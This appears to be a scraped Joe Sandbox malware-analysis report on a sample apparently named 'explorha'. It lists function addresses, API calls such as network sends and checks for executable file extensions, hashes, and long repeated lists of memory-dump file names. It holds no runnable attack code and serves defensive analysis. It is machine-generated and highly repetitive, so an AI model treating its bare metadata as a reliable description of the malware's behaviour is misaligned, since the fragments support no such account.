Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: O>H
API String ID: 1418687624-1411229764
Opcode ID: 342e03e8e1c4111f82e58c83b979d262cc48acfcb124838aba1efe5befbd19a4
Instruction ID: 6996d0cbc1867e87094411335616c78ae1a12d77193e88bd3f7fc5bdbfb8ec44
Opcode Fuzzy Hash: 342e03e8e1c4111f82e58c83b979d262cc48acfcb124838aba1efe5befbd19a4
Instruction Fuzzy Hash: 61810971A042159FD721DB28CD85F6AB7B4FF09314F1041AAF91AE7791EB31AD40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD2DC0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AD2E5F
__Mtx_unlock.LIBCPMT ref: 00AD2ECC
__Mtx_unlock.LIBCPMT ref: 00AD2FF5
__Mtx_unlock.LIBCPMT ref: 00AD309B

Strings

O>H, xrefs: 00AD2DD7, 00AD2F54, 00AD3103

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: O>H
API String ID: 1418687624-1411229764
Opcode ID: 0cb846ccb8cf1488d4932402c33b500e23a825bca249040d362c03c8d194b0d5
Instruction ID: a67f84a72e2a4952c2296826a72873a92f0fc7924d65db29679f51f467be8187
Opcode Fuzzy Hash: 0cb846ccb8cf1488d4932402c33b500e23a825bca249040d362c03c8d194b0d5
Instruction Fuzzy Hash: 3BA1F071A013469FDB21DB65CA44B9AB7B8FF25310F04852AE816D7381EB35EA04CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD2DC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00000004,00000000), ref: 00ADD43E
send.WS2_32(?,?,00000008,00000000), ref: 00ADD47A
send.WS2_32(?,?,?,00000000), ref: 00ADD4BC

Strings

O>H, xrefs: 00ADD3F6

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: send
String ID: O>H
API String ID: 2809346765-1411229764
Opcode ID: 16165d95e244eece3f31a74ca0da72fcc0d413d2082eb05b3febec4600af007e
Instruction ID: c90eb83c6060c2037fa77f245a2e058abdb6d891b4cb31b1eb4814d440f96403
Opcode Fuzzy Hash: 16165d95e244eece3f31a74ca0da72fcc0d413d2082eb05b3febec4600af007e
Instruction Fuzzy Hash: 5641FC72E001145BDB18CB7CDC857ADB7B5EF45324F10466AE92AE73D1DB30A940CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00B08829 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00B0886B

Strings

.bat, xrefs: 00B0889A
.cmd, xrefs: 00B08889
.com, xrefs: 00B088AB
.exe, xrefs: 00B08878

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 6d0ad346ff2cc47b6a48df2fa18724c6ca6f8a8a5d48859c7de7a18250a75dd7
Instruction ID: 0f00f2e2e435eb528f5b71d95c357073a937541b5b53d869bf0dcdc4e7c62dbf
Opcode Fuzzy Hash: 6d0ad346ff2cc47b6a48df2fa18724c6ca6f8a8a5d48859c7de7a18250a75dd7
Instruction Fuzzy Hash: A701D277A1472525B6182058BC0266B2FD8EFC2BB072A40BEFC88FB5D1EF94DD424194

Uniqueness

Uniqueness Score: -1.00%

Function 00B16234 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00B163EA
__freea.LIBCMT ref: 00B163F3
__freea.LIBCMT ref: 00B16416

Strings

O>H, xrefs: 00B1623B

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: __freea
String ID: O>H
API String ID: 240046367-1411229764
Opcode ID: bc37991c28e2d23aee45c2653eb04ded8f7ecccacf49c74cf09971648251c8ec
Instruction ID: d34d2cf00c6326924f5980e8f824ac936c16e6b73d69299d7a0a047e78acb42e
Opcode Fuzzy Hash: bc37991c28e2d23aee45c2653eb04ded8f7ecccacf49c74cf09971648251c8ec
Instruction Fuzzy Hash: 7C51C072500216AFEB209FA8AC81EEF3BE9EB44750F6541B9FC14E7141EB30DC8096A4

Uniqueness

Uniqueness Score: -1.00%

Function 00AD39C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00AD3A93
__Cnd_destroy_in_situ.LIBCPMT ref: 00AD3A99
__Mtx_destroy_in_situ.LIBCPMT ref: 00AD3AA2

Strings

O>H, xrefs: 00AD39D5, 00AD3B07

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
